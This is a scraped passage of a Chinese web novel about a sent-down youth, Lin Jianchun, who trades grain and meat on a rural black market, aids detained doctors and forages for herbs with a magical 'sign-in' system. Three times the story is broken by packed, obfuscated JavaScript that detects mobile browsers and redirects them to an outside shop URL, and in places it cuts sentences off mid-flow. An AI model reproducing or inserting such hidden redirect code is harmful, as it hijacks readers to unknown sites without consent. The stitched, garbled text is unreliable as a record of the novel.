在话摊开之前,林见春是真没朝着这方面想,家里对她的教育一直是十七、八岁只说亲可以,但没必要急着结婚,一是法律不允许18岁以下的未成年结婚,二来也是冯雪华自己的经验所谈。 早些年女儿家都是十五、六岁说亲,等十七、八岁时孩子就抱上了,可这个年纪的女儿家身体根本没长成,生孩子只会加剧身体受损程度,越往后病痛越多,简直得不偿失。 自己的苦只有自己知道,所以冯雪华一向教育林见春最好成年之后再结婚,这回下乡前虽说有人来帮着介绍过几回,可冯雪华还是那个态度,为了逃避下乡结婚也好,真处了感情出来也好,真到了那一步,办了酒席,也得留在家里等到18岁领了证再正式过门。 冯雪华这边不允许,林见春本身也是个开窍晚的,学校里那么多青年才俊她也没对谁有过片刻的心动,林建业都说她是书虫子,眼里只有人和动物的区别,根本就是个不解风情的小姑娘。 想着跟自己差不多年纪的知青真有可能就此说亲嫁人,林见春有些迷惘,视线转了一圈,对上李俏俏清冷的目光才稍稍回神。 是了,各人自有缘法,大家只是萍水相逢的陌生人而已,她操那么多心干啥? 林见春冲李俏俏笑了笑,埋头喝了口煮得喷香的肉汤。 婶子说亲的热情持续了整个杀猪宴。 林见春和李俏俏被排斥在外,没多会儿就坐到了一堆。 林见春对首都还是很向往的,正好其他人没注意到她俩,她就戳了戳李俏俏的胳膊,小声问她首都是什么样的。 “听说首都每条街都有军人站岗,那岂不是真到了夜不闭户的盛景了?” 李俏俏:“哪有那么夸张?军人都是有自己的使命的,怎么可能每条街都安排站岗,顶多就是皇城几道门设点。” 李俏俏给林见春简单说了下“四九城”的由来,话题一转,才说自己只是外城的普通市民。 “其实就是李春景误会了,他以为我是首长家的孙女,从去年下乡开始就一直讨好我,搞得其他知青也以为我有多大的背景,也不想想,我真要有背景,家里能舍得把我放出来下乡?随便找个门户相当的也能留城了。” 林见春看李俏俏表情俏皮,借着碗遮挡也笑了起来。 她可是见识过李春景处事为人的,自以为聪明,实际不知道多少人看穿了他的本性。 “那他现在还缠着你吗?” “从我搬出知青点开始就没怎么找我了,我估计他是知道我不是什么首长孙女了。” 唯利是图的人往往也是最清醒的,知道追逐的人身份不符,会及时抽身也说得过去。 “不管他的,你在徐三婶家住着还成吧?” “挺好的呀,徐三婶事事都顾着我,要不是我非要自己洗衣服,她怕是连水都不让我沾嘞。” “那是挺好的。我记得你是刚高中毕业吧?大队分给我们的农活就那么多,有没有想过闲暇时看看书,将来找机会继续学业?” 林见春愣了一下,到底没说自己本来就在躲起来学习。 “有机会肯定是要继续读书的,我没什么本事,地也不会种,总不能以后也想着让家里管我吃喝吧?” “行。” 李俏俏也没说什么“行”,只随便跟林见春先聊着,没再说其他。 一顿杀猪饭吃下来,还真给大队的婶子们说成了几对。 不出意料的是,知青里头有4个被婶子们说动,打算先跟几个合眼缘的士兵相处一下。 只是驻地毕竟不像外面,平时她们也只能靠写信和他们交流,等感情基础有了,再通过驻地政委和妇联正式介绍、政审、扯证。 林见春没想到冯悦也在其中,正好回去的路上知青也顺路,冯悦就在边上,她就多嘴问了一句。 “你在这边相亲,将来不打算回城了吗?” 冯悦倒觉得没什么。 “回城还不知道得是多久之后的事儿呢,反正回去也找不到几个好的,真好的也不见得能看上我,还不如找个军人,起码军属光荣。” 林见春觉得她想得太简单了,可人家一脸满意的样子,她泼冷水好像也不好。 “你有主意就行。” 另外三个有意向的知青林见春不熟,想着大家估计都是差不多的想法,说什么都显得突兀。 吃过杀猪菜,过来帮忙的军人就准备拔营回驻点了。 走之前,于政委又跑了一趟,专门过来找牛队长报给他的几个知青谈话。 知道有机会去驻地做老师,几个知青都兴奋非常,就是李俏俏也没想到还有这种好事。 唯独林见春犹豫。 她怕过去之后反而没时间看书了。 知青年纪都不大,于政委怎么可能看不出他们的态度? “这位小同志是有什么顾虑吗?” 林见春连李俏俏都没说,自然不可能跟一面之缘的于政委说实话,所以只是摇了摇头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027614|193831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我话少,又只会死读书,恐怕不太适合教学生。” 幼托更多是看孩子,林见春只喜欢小宝这种乖巧懂事的孩子,真要她去带那种混世魔王,估计她得先一步疯掉。 小学更是不成,她都不知道从何教起,总不能完全照个课本读吧? 她的表情真切,于政委就只笑了笑,没往下劝,只看向其他几个有明显意向的知青,邀请他们9月20日到驻地试讲。 农忙抢收一直进行到9月17日。 砂河公社的知青有一百多个,可驻地那边也不是一个能做老师的军属也没有,所以最终从知青里头录取的名额也不会很多,这剩下几天正好给他们做准备。 “谢谢于政委!” 送走部队的人,东旺大队就进入秋收尾声了。 林见春每天只跟着大队的婶子在田间地头捡穗子和收漏掉的花生,等李俏俏包袱款款的找过来道别,她才知道李俏俏和陈建设考上了驻地的小学教师岗,席娇考上了幼托。 倒是李春景,整个知青点就他最积极,备考的几天连衣服都叫其他知青帮忙洗,结果反而没考上。 林见春感叹世事无常,好悬没笑出声来。 “去了驻地,平时你们还回大队吗?” “不回了,学校那边直接把我们的粮食关系迁到驻地了,估计下次驻地再迁,我们也会跟着一起走。” 粮食关系迁到部队,对于一部分人来说甚至比回城还要好。 “那你们过去怎么住呀?” “学校是新建的,当时驻地顺便修了几间宿舍。” 安排了住房,又有粮本,这样的确比在大队混日子强。 “那祝你工作顺利,有机会咱们再通信。” “好。” 送走三个知青,东旺大队恢复了知青上三天工休一天的安排。 林见春抽空又把“背包”整理了一下。 从农忙开始到现在,整整32天的时间,“签到”所得还是以粮食为主,其中粗粮拢共16斤、大米25斤、小麦面粉10斤、盐2斤、鸡蛋13个,杀猪饭那天直接获取了猪肉3斤。 有收获但不稀奇,要操作还得靠那回在“小黑街”弄到的收音机才行。 在此之前,她还得现在大队收一些今年刚下的粮食,趁着去公社给家里和大哥大嫂寄一些,也让他们尝尝今年的新粮。 不过,李俏俏一走,林见春就不知道该跟谁问大队的情况了,只能找到徐三婶,看她清不清楚各家的余粮打算。 “谁家会把自家余粮有多少往外瞎秃噜?你真想要新粮就去找大队长和村长问问,他俩出面,其他人才可能给你分点新粮。” 再就是有能主事的人出面,那些人不至于拿陈粮来糊弄啥也不懂的知青。 林见春是真没想到这么麻烦,但也只能听徐三婶的,吃过晚饭跑了趟牛队长和吴村长家。 都知道林见春是个干活不积极的,听她要买新粮牛队长和吴村长都没太在意,而且她要得又不多,所以吴村长直接从自家分了50斤出来,牛队长又带她去良大爷家和附近几家人问了问,几家凑起来,还真给林见春凑到了差不多快三百斤新谷。 三百斤谷子林见春可不好弄走,想了想,干脆把之前分剩下的半罐麦乳精提到了牛队长家。 “牛队长,我大哥在部队恐怕找不到地方打谷子,不然还是直接给我米吧,我也好打成包裹往外寄。” 林见春买粮之前就说了是往龙塘和海城寄,所以牛队长也没多问,直接给那几家传了话,顺道把林见春从吴村长家买到的50斤新谷也一起打了。 只是麦乳精牛队长是不肯收的,叫了雪花婶来推,自个儿带着人去打谷子了。 牛队长家的小孙子没怎么吃过苦,不过这年头好东西实在难得,所以推来推去,雪花婶还是给收下了。 “回头石头爸妈寄了东西回来我也拿去给你尝尝鲜。” “行呀。” 18. 黄二姐 大队的社员缺钱缺票,林见春也没多的票证,所以300斤谷子直接按9分钱一斤算,总共花了27块。 龙塘那边吃玉米馍馍的时候也多,东旺大队的玉米很不错,就是刚收不久没怎么晒干,林见春就又花3块买了30斤半干的玉米,准备给家里20斤,大哥大嫂那边先给个10斤。 300斤新谷出米210来斤,林见春给分成了一袋120斤、一袋90斤,也是准备多的给家里寄过去,少的给大哥大嫂寄过去。 包裹打好,林见春又趁着夜色走了一趟牛棚。 农忙期间牛棚这边分到的活跟知青差不多,所以上山的时间反而比平时更多,加上这段时间阳光正好,牛棚几个人齐力合作,还真给晒出了2斤半草药。 晒干的草药不太好放,林见春就将就牛棚这边的背篓一起带走,临走前,陶文斌又拎了一个手编提篮出来,灰突突的,估计有十几斤重,在月光下也看不出个原样。 “这是什么呀?看着跟书上的黄精也对不上号啊。” 陶文斌笑了笑,“这是野山药,炖汤很是滋补。几位长辈听说你在村里收新粮准备寄回家给亲人尝鲜,所以分了这么些出来,不多,你看看怎么给家里安排。” 山药这东西林见春倒是吃过,可不好抢,所以的确算得上稀罕。 正好寄给家里和大哥大嫂,让他们也尝尝。 “那我就先谢过啦。草药换来的钱是直接给你们还是给换成粮?” “这事儿大家已经事先商量过了,就麻烦你帮忙换成粮,也不需要细粮,能换到粗粮就很好了。” 2斤半草药差不多能卖个15块,全换成粗粮的话得有八、九十斤,够他们吃一个多月了。 林见春脑子里也在算这笔账。 牛棚这边吃东西可不能敞开肚子吃,她先前给送的50斤粮加上大队接济的、之前剩的,顶多也就80斤上下,他们六个人愣是吃过了农忙这一个月,瞧着屋里还有剩,均摊下来估计就是一天2斤半的消耗。 要知道她一个小姑娘在需要下地的情况下,一天随随便便都能吃掉4两粮食,菜还不算,可见他们平时就没个饱腹的时候。 林见春想着到时候再给他们贴补一些凑个整,嘴上好好地答应了下来。 “那我先回去了,明天晚上再给你们送粮过来。” 林见春转身要走,陶文斌却有些迟疑地喊住了他。 林见春看他像是真有事儿的样子也就没急着走,只看着陶文斌等他的下文。 陶文斌垂着眼,到底还是把东西拿出来了。 “得麻烦你帮个忙。老师的病靠我们平时采的那些药是不够的,得去大医院进行系统治疗,这信是往首都寄的,没署名,但收到信的人一看就知道是怎么回事……不用担心有人会查到你身上,老师对那个人有恩,就算他不愿意搭救,也不会落井下石。” 没署名的信的确不容易查到源头,更何况她只是帮忙送信,就算有人找过来,她也完全可以推说自己是受到了蒙骗。 “好,我明天顺手帮忙寄出去。” 舒舒服服睡了一晚,天色还没大亮时林见春就醒了过来。 秋收之后天就短了,她估摸着这个时间跟平时也差不了多少,但徐三婶屋里还没动静,她一时也有些摸不准。 再次叹息没手表连时间都不确定,但又想到手表不是必需品,她手头的钱不多,所以也压下了从“小黑街”换手表的想法。 徐三婶和小宝还在睡,林见春就没弄出大动静来,结果她刚背着背篓扶着车准备出门,徐三婶和小宝住的屋子就传出了声响。 “怎么这么早?” 秋收之后上工铃的时间也推迟了,徐三婶虽然没有手表之类的,可这么多年也习惯了,自然比小年轻对时间的把握更准。 “今天要办的事儿多,早点去也好早点回。” 天气慢慢就要转凉,林见春打算囤点肉找机会请徐三婶帮忙装香肠熏腊肉,可方哥那边每次不定有多少量,所以多跑几回才能多攒一些,免得到时候不够分的。 徐三婶扭头就要去灶房给林见春煮鸡蛋,被林见春连声叫住。 “下乡这么久还没去过公社的国营饭店,一会儿我去看看新鲜,直接在那儿吃就行。” 大哥大嫂寄过来的钱票都是月中送到,这个月的她还没机会用,这次进城刚好可以去国营饭店瞅瞅。 听她这么一说,徐三婶就没劝了。 其他家早起的也不多,趁着天色暗,林见春一路轻装,车轮蹬得飞快,不到半个小时就到了公社。 想着方哥说过好东西都是一早就没了,林见春也没在其他地方耽搁,一到公社就钻进了“小黑街”。 事实证明她来的时间刚刚好,看着院里还剩整整半扇的猪,林见春真忍不住笑了。 “妹子可算来了,瞧瞧哥给你留的猪肉,满意吧?” “方哥要这么说我可当真了啊。” 半扇猪也就八、九十斤,全买下来也不是不可以。 方哥“哈哈”直笑,“不开玩笑了,你来得巧,哥让你先挑。” 她喜欢吃瘦一点的五花肉,熏腊肉也是五花最好,再弄点排骨做成腊排骨…… 林见春越挑越多,最后想要的没有半扇也有半扇的三分之一了。 方哥看得咋舌,“妹子,你家这是有几张嘴吃饭啊,买这么多吃得完吗?” 林见春直接把二哥和还没影的二嫂、三嫂、侄子侄女全算上了。 “十几口吧,还有些人情得还,就这些也吃不了几天,所以要不方哥真把这半扇全给我吧?” 方哥白了她一眼,直接拿起刀给她割了一半五花和一半排骨,排骨是挑的正排,没给她塞边角。 “下回的吧,现在猪都在养秋膘,这头还是好不容易搞来的,还好多人等着要呢。” 林见春也没想能以此搞定一个年的肉,笑呵呵把肉装进背篓,才指了指提前放上车的草药。 “方哥找人看看草药?都是晒好的。” “行。猴子,过来瞅瞅货。” “来了!” 陶文斌和陶兴好歹是医生,所以这批草药不可能有问题。 猴子检查之后也给了肯定的答案,方哥这才笑着跟林见春解释。 “草药这东西马虎不得,不然我交出去也得担责,2斤半,和肉折算还是怎么着?” “草药是帮别人带的,方哥按最近的粮价给全换成粗粮就行,玉米面、红薯、土豆多一些其他的看着差补一下就行。” “成,那你再看看别的不?不看了我就给你算肉钱了。” 林见春这回过来也是打算把之前那台收音机给处理了,方哥一开口,她也就没藏着掖着了。 “红星牌收音机,全新的,方哥你给说个价?” “全新的?120。” 红星是目前所有收音机里卖得最好的牌子,供销社都能卖到100块一台,加上工业券,没个110块下不来。 方哥给的这个价格听着合理,但“小黑街”里面换东西不是这么个算法,今天入了手,转天儿估计就得卖上130,要碰上那种急着买的,心黑点儿估计150都卖得出价。 不过人家就靠这个挣钱,林见春也不好说什么,更何况她这收音机跟白捡没区别,能卖120还能给方哥算个人情,也是两全其美了。 “行,那方哥算算肉是多少钱,从收音机的钱里扣,我先把草药换的粮带走,正好取了东西一会儿送过来再拿肉。” “成。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17032426|193831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个月大哥大嫂寄过来的票光粮票就有50斤,肉票也有1斤,不知道大哥大嫂费了多少工夫才换到这些,得写信跟他们说一声,下个月别再弄这些票了。 这会儿时间还早,林见春蹬着自行车去了公社的国营饭店,问过价格之后,掏了2块钱和4斤粮票,买了10个肉包子和10个白面馒头。 肉包子足有她拳头大小,肉馅儿也捏得一点儿不含糊,吃一个就能饱,馒头也发得松软,足有她两个拳头并排大,可惜吃过包子之后馒头就不太吃得下了,索性收起来,等回去再吃。 剩下的粮票和肉票林见春也没打算留,到供销社排了一会儿队买到了一斤肉,扭头又去粮站找了黄二姐。 黄二姐还记得林见春,一见她蹬着自行车骑得飞快,连忙从窗户探出头来朝她招了招手。 “妹子,可久没见着你了。” 林见春把车停好,扒着窗台给黄二姐塞了十几颗硬糖。 “黄二姐,我又来买粮啦。” 黄二姐没数糖有几颗,反正一大把,收起来往兜里一揣谁也看不到。 “乡下应该下新粮了吧?你怎么不在村里收?咱们粮站的粮食也是从乡下拉来的。” 乡下的粮不要票也只卖得出1毛2的价格,比“小黑街”的粗粮还便宜,就是买多了打眼。 但她不是帮着其他知青一起买的么?一起给大队干部说说情应该也是能买个百十来斤的。 林见春也没瞒着,半真半假的说了。 “今年的新粮我给家里买了点,不好再买多,所以还是到公社来买了。” “行吧,这回要多少?” 买完包子馒头粮票还剩46斤,这回来粮站的主要目的就是消耗粮票,所以林见春也没要多的,就比着粮票的份额买。 “46斤全要大米吗?” “对。” 黄二姐收了钱票,招呼粮站的临时工给林见春装袋,等人远远的应了声,她才拉着林见春继续闲聊。 没多会儿,临时工抱着粮出来,林见春把粮袋绑到了车上,跟黄二姐说了声就骑着车走了。 在巷子里绕了几圈,林见春把米收了起来,又把提前分好的东西绑到了车上,一路扶着车走进了邮局。 她要寄出的东西比较多,得按重算邮费,林见春给帮忙称重的两个邮递员各塞了5颗硬糖,等东西放到了待寄出的地方,她才乐呵呵的道了谢,扶着空了的自行车走了。 这么一通耽搁,再去“小黑街”林见春就没特意绕圈了。 看她背着背篓回来,先前装车的粗粮都没了,方哥也只当没看见,等她把收音机拿出来,他才主动过来要过东西查验。 “还真是全新的,妹子你路子够广啊!” 林见春笑了笑没搭话。 “行了,肉都给你装好了,五花6斤,排骨8斤,我再补你102块4毛。” “谢谢方哥。” “瞎客气,好东西都想着哥就成。” 这么一通进进出出,她“背包”里的钱加上新得的,竟然还有922块! 看来还是得来稀罕的东西才能攒上钱啊。 林见春边感叹边把今天的“签到”机会用掉,指针一转,竟然直接进包一罐奶粉! 不过她刚拿了收音机出来,这奶粉倒是不好马上拿出来现眼了,而且奶粉这东西比麦乳精还难得,还是先存着,万一真有了侄子侄女,这奶粉也可以送给侄子侄女喝。 林见春满脸笑容根本控制不住。 好在方哥只以为她是刚拿了钱觉得高兴,帮着把肉给她装进了背篓,又叫来猴子给她搬粮,给她送出院门就没管了。 离了公社,林见春照旧把多的东西收进了“背包”,轻装简行回了大队。 19. 野山参 回了徐三婶家,林见春直接拿了2斤猪肉给她。 现在天气没前头热了,肉稍微煎一下也能多放几天,所以这2斤肉不用紧赶慢赶的吃完。 除了肉,之前攒的34个鸡蛋、今天买的9个包子、10个馒头林见春也全拿给了徐三婶,另外干海菜给了3斤。 大哥大嫂8月寄过来的东西还剩了不少,除了之前拿给徐三婶和牛棚那边的,其他东西她也就吃了半斤果干,多的没动。 又是肉又是菜的,林见春再往外拿米面徐三婶就不肯收了。 “你每个月的补贴都在我这儿,够吃了。” 没法,林见春只能把东西搬回自己屋里再找机会往“背包”里收。 “我看灶房地上放了山药,是牛棚那边给你的?” 林见春也没觉得自己能一直瞒着住在一起的徐三婶,正好她说破了,她也就没再瞒。 “陶医生他们空了就上山挖药,这回运气好挖了些山药,送了我一些,我给家里寄了点,剩下这几斤就留着咱们吃了。” 徐三婶也没问她和牛棚那边的具体往来,只让她平时多小心别打眼就没再提。 “明天起我也要上山捡柴了,山药养胃,到时候看看能不能找到,有的话再给你家里多寄点。” 林见春却是想到了小宝。 “不是说带我一路吗?我干三天农活才能休一天,婶子你明天就上山,不能带着小宝一起吧?” “没事,我不往深里走,小宝不会乱跑。” 林见春有点不放心。 再怎么小心那也是山里,光徐三婶一个人还好,真遇到事儿跑就完了,带个小孩,就算小宝听话,到时候也得让徐三婶分神。 林见春想了想,干脆破罐子破摔了。 “农忙之后还有什么农活能干呀?不行我去跟牛队长请假,跟婶子一起上山算了。” 反正一天活干下来也就五、六公分,大队根本不会给她安排什么正经农活,请不请假的也不影响她吃饭。 徐三婶也知道林见春干的什么活,想想也是,干脆点头了。 她一点头,林见春立马就像被牛队长批假了一样,牵着小宝往自己屋里钻,没一会儿就让他拿了半斤果干出来。 “上次拿的饼干还没吃完,你又给他东西干什么?把嘴吃刁了。” “哎呀,东西在那儿放着不吃不也会放坏?小宝懂事,吃点东西吃不成小混蛋。” 徐三婶哪是这个意思,还想说什么,结果刚瞪了林见春一眼,她就反手把门一关躲起来看书去了。 “……” 入了夜,林见春把干草药换回来的88斤粗粮给凑了个整,费劲巴拉地背一袋、拎两篮凑近了牛棚。 牛棚里也是难得点上了蜡烛,林见春刚走近,屋子里就传来了声响,不过这次出来的是仇梦,见到林见春也是赶紧把她拉进了门。 见一屋子人都还没睡,林见春赶紧把手里拎着的两篮粮食放好,“出什么事了吗?” “老陶又发作了,吃了药刚醒过来。” “不行我们想法子拍个电报吧?老陶这身体怕是撑不到信打个来回了。” “……我还撑得住。” 连着两回犯病,陶兴看起来已经老了好几岁的样子,这会儿光是靠坐着都觉得呼吸困难。 几个老人表情难看,陶文斌也是眼眶泛红,都知道陶兴是不想他们担心,这会儿就是强撑着嘴犟。 可信刚寄出去,总不好叫人家小姑娘再冒着风险往首都发电报,到时候惊动了那些人,小姑娘也讨不了好。 “再等等吧。” 林见春不好说什么,只默默把背篓也放了下来。 “这些粮都是今天送出去的草药换回来的,百来斤,应该够吃一段时间了。” “谢谢林知青。” 恩情一言难报,陶文斌守着陶兴不好走动,最后还是仇梦把林见春送出了门。 林见春回去之后也没睡得着,在床上翻了一会儿,干脆把剩下的药连着瓶子全给拿了出来。 她去而复返,牛棚里的人都惊了一跳,林见春这次就没进门,把药塞给仇梦掉头就跑,几人愣了一会儿,才关上门把药瓶交给了陶文斌。 “8颗。” 阿司匹林对陶兴的病情已经起不到什么效果了,最多也就一个镇痛和防止血栓的抑制作用,可人小姑娘连药瓶都一起送了过来,想也知道这就是全部了。 “先给老陶用着吧,等老陶回去了再想办法给小姑娘弄点东西。” “行。” 送了粮食和药,林见春就没再管牛棚那边。 比平时睡得晚,早上徐三婶敲门叫醒时林见春还有点发懵,不过到底还记得要去跟牛队长请假,林见春还是快速翻下了床,换好衣服到了堂屋。 早饭吃的是昨天带回来的包子,徐三婶只热了一个给林见春吃,她和小宝就分一个馒头,怕林见春吃不饱,又敲了一个荷包蛋做成了糖水蛋。 林见春不止一次让徐三婶别一锅煮两家饭,可徐三婶也是个犟的,农忙时好了一阵,这才刚忙过她就又开始这样,林见春只能默默地给小宝分了半个荷包蛋,又把糖水给徐三婶倒了半碗。 “婶子,你不按人头来煮,我的嘴也得亏着。” 徐三婶推也推不及,张嘴还想说两句,反被林见春一句话说得憋了回去。 吃过早饭,林见春一溜烟儿跑去了牛队长家。 牛队长家早饭更简单,林见春过来时他们老小三人正吃着窝头,小的那个面前放着半碗浅白的水,看着像是麦乳精冲得淡淡的。 见林见春过来,雪花婶有些不好意思地招呼她进门。 “林知青吃过了吗?” “吃过了,我是来跟牛队长请假的,就不进去啦。” 牛队长:“你请假做什么?不是昨天刚去过公社。” “这不是地里也没什么活给我干吗,干脆跟徐三婶上山捡柴备着过冬,免得冷起来了连柴火都得跟人换才用得上。” 牛队长简直气笑了,“活倒是有,可你干得来吗?” 农忙时也有主动跟着其他社员一起干活的知青,虽然不至于追得上进度,但一天9个公分还是能轻松拿到的,要都像林见春这样,叫捡穗子就捡穗子,叫回家待着就一刻也不下地,那年底算工分分粮,不知道有多少知青来年得饿死在大队上。 “唉,我干不来,所以才说不如去捡柴呢。” “去去去!” 林见春“嘻嘻”一笑扭头就跑,权当牛队长答应了。 请好假,林见春就等着徐三婶收拾好上山了。 东旺大队背后的山根本不高,只是山体覆盖面广,里头树木荆棘长得又稠密,所以才被南兴驻地选作天然防线。 附近几个大队的社员常在山里头找点野菜、柴火什么的,驻地也不太管,只要不越线进入驻地范围就行。 9月底天气已经没那么热,山里常有树荫遮蔽,林子里也透着凉气,林见春学着徐三婶的样子换上了长衣长裤,在袖口和裤腿扎上了带子,又帮着把小宝拾掇好,两大一小就各背着一个背篓上了山。 沿着踩踏痕迹进了山,徐三婶就盯着地上胳膊粗细的干柴捡,小宝还记得上半年进山的事,也学着样子捡起了细棍,不过他背不了多重,小背篓里放了几根就只拿着枝条抽打地上的野草耍着玩。 林见春也捡,不过她的注意力还是放在植物上,这一仔细搜索,还真找到了《本草经》对应的草药。 徐三婶注意到她半跪在地上跟草较劲也看了过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林见春想着今天的“签到”机会还没用,干脆趁着这会儿在山里试了试,没想到还真成。 等东西进包,林见春看着“背包”里面明晃晃一支根须完整还带缨的野山参,脑子里第一反应就是今后完全可以每天上一次山来碰运气了! 怕引起徐三婶的注意,林见春极力压抑自己兴奋的情绪,对上小宝懵懂的眼神,她也是抑制笑容无声地对他“嘘”了一下。 小宝当即一副“我知道了秘密但我不说”的精怪样,捂着嘴笑个不停,等徐三婶看过来,他才学着林见春的样子捂住嘴一本正经地摇了摇头。 摘菜的摘菜,挖药的挖药,临近驻地划线时,徐三婶指着大体的方位给林见春提了个醒。 “驻地划线就在这儿,你看下树上的标识,下回进山可千万别越线了。” 林见春可没有试探驻地底线的想法,点头听得认真,顺便记了下附近的植株特点和地势地貌。 “那就下山了。” 两大一小的肚子都早饿了,下山也没费劲煮饭,直接热了林见春头天带回来的包子馒头,煮了一盆鸡蛋汤,也吃得非常舒服。 吃过饭,林见春直接在院儿里整理今天的收获。 普通草药得晒,林见春怕自己处理不好,所以只是简单的拍了拍泥,没下水洗,直接找了徐三婶放在灶房的簸箕摊开,力图晒个均匀。 这些草药一晒一大堆,摸不准晒干了有多重,所以最紧要的还是那些黄精和没法现在拿出来野山参。 辨认药材也是需要功底的,林见春背书还行,其他方面就没什么天赋了,只能通过简单的书面知识判断出黄精是6-8年生的,野山参的年份那就无从判别了。 林见春把草药分完,将就篓子把还带土的黄精也收进了“背包”。 野山参暂时没法处理,这些黄精却可以先拿去公社,方哥提过黄精好卖,这些拿过去应该也能换回不少东西。 今天也算开了个好头,再攒一攒,等牛棚那边也准备好再一起带去。 20. 1400.00(二合一) 能请假林见春就不为难自己了,隔三差五的请上一天,天亮就去山上“打野”,下午就躲在屋里自学。 别说,这种放松的状态下,学习起来也没那么困难了,就是牛队长的脸色一天比一天难看,林见春只能悄悄吐舌头,不敢到牛队长面前现眼。 至于知青那边就不在林见春的考虑范围内了,她也不是完全不干活,算下来一个月也是干了十来天活的,幸好那些知青也不是爱多管闲事的,每天都忙着想法多挣一些工分免得年底分的粮来年不够吃,根本没空管她。 潇洒了两个月,进入11月下旬,山上基本找不到什么好东西了,院子里也堆了够用一个冬的柴火。 林见春见好就收,趁着夜色去牛棚收了他们这两个月攒的草药,连夜把自己手里的也整理了一下。 在山上“签到”,大部分时候都是直接获取一些普通草药,运气不好的时候还会获取柴,这种东西林见春一般当场就找机会塞到了背篓里,只有山药、黄精、野山参这类比较稀罕的才留在“背包”里。 不过山上也不只有植物,运气好起来的时候林见春还“签到”过野鸡蛋,这种蛋都是按窝算,正好这两个月没弄到正经鸡蛋,有鸡蛋吃着也不错。 除了鸡蛋就是野兔、野鸡一类的。 “背包”可以存放活物,但超过时间就不行。 林见春不敢去试超过时间会有什么后果,所以到手之后都直接藏起来给杀掉再放回去,反正再拿出来也是刚死掉的状态,不会发臭变质,之后再找个合适的时间拿出来交给徐三婶,就是一顿新鲜肉。 时不时有野鸡、野兔解馋,林见春才没频繁跑公社,期间只去赶过两次早,每次去都能买到几斤五花和排骨,有一次甚至买到了半个猪头。 这几十斤猪肉够给家里和大哥大嫂寄了,林见春抽了个时间全部拿出来让徐三婶帮忙熏了腊肉,这回去公社正好给寄出去。 11月下旬已经有些冷,林见春睡得晚,早上也不太起得来,想着今天得去公社把东西销了找补回之前的花费才硬爬了起来。 起床简单,蹬自行车时才是痛苦,那风呼呼地刮在手上和脸上,走到半道林见春就忍不住跳下来推着车走了。 好在公社着实算不上远,顾不上去“小黑街”赶早,一到公社林见春就先钻进了国营饭店,先花8毛钱和□□票买了碗热乎乎的牛肉面吃下才缓过劲来。 这两个月大哥大嫂也没再给太多粮票,但家里又给补贴了一些,所以这次带出来的粮票还是有足足60斤的份额,肉票、糖票、棉花票、工业券也给她弄了不少。 这些票临近年底的时候最是行销,林见春想着自己也不太用得上,干脆拿去粮站找黄二姐。 天气冷了,黄二姐也懒得出来,林见春敲了敲窗户,见到是她,黄二姐才满脸笑容的招呼她进屋。 林见春也怕冷,绕了两步,直接进了办公室。 “林妹子,好久没见你过来了!” 林见春也笑,“大队事儿不少,之前一直没得空。” “今天准备买些什么?” “还是要买点粮,不过这个不急,年底了,我哥给我寄了一些票,我暂时用不上,所以想着来找黄二姐帮帮忙,看看有没有相熟的人用得上。” “哦?都有些什么票呀?” 林见春直接把票拿了出来。 “5斤肉票、5斤糖票、10斤棉花票、30张工业券。” “怎么这么多?!” 黄二姐着实惊到了。 正式工一个月肉票供给是半斤,糖票是福利,棉花票也是难得,工业券更是不得了,30张工业券都够抵用一张自行车票了,如果分开用,20张就能抵一张缝纫机票,10张也能抵一张手表票。 年底很多说亲的,这四样票一个也少不了用,这林知青要是真愿意拿出来,不说换多少钱,就是她这个中间搭线的都能得不少人情! 黄二姐几乎瞬间就在脑子里盘算出谁家能用上那些票,喜色上眉梢,站起来拉着林见春好不亲热。 “妹子,这些票证你打算全拿出来吗?” 林见春想了想,干脆收回了10张工业券。 “我自己只打算买一个手表看时间用,其他的用不上,黄二姐如果有熟人用得上,还得麻烦你给牵个线。” 说完,又摸了一把糖给黄二姐。 黄二姐险些没笑出声,再一看,这回的可不是什么硬糖,而是难得的奶糖! 好家伙,看来人是真用不上这些票了。 “行!你等我会儿,我回去给你叫人。” “黄二姐不急,我得先去寄信,一个小时以后再碰头吧。” 黄二姐恨不能当场把线牵好,不过喊人需要时间,她着急也没用,只得答应下来,送走林见春,连忙去请了个假。 票有去处,林见春就先去了趟供销社。 她也怕自己刚买了手表就“签到”获取,所以到供销社之后先用掉了今天的机会,可惜好运不多,只获取了一罐麦乳精。 “同志,今天有麦乳精吗?” “有啊,你要买吗?有票吗?” 林见春就是问问,摆了摆手说不买。 售货员有点不高兴,虎着脸要赶人,结果就看林见春拿出来一把钱票,指着柜里的女士手表要她拿出来看。 林见春手里的钱票工业券就在面儿上,一看就是诚心要买。 售货员顿时没气了。 “这是上个月才出厂的梅花手表,只需要120块和10张工业券。” 手表价格林见春是清楚的,拿出来的钱刚够,所以试戴了一下,表带刚刚好,手里的钱票就直接递给了售货员。 公社的供销社不像百货大楼,售货员就能自己打票出货,所以手表买下来也不过10分钟的事。 对好时间,林见春看着“滴答”走着的指针也笑着舒了一口气。 “谢谢同志。” “不客气。” 出了供销社,林见春又蹬着车绕了两圈,去了邮局。 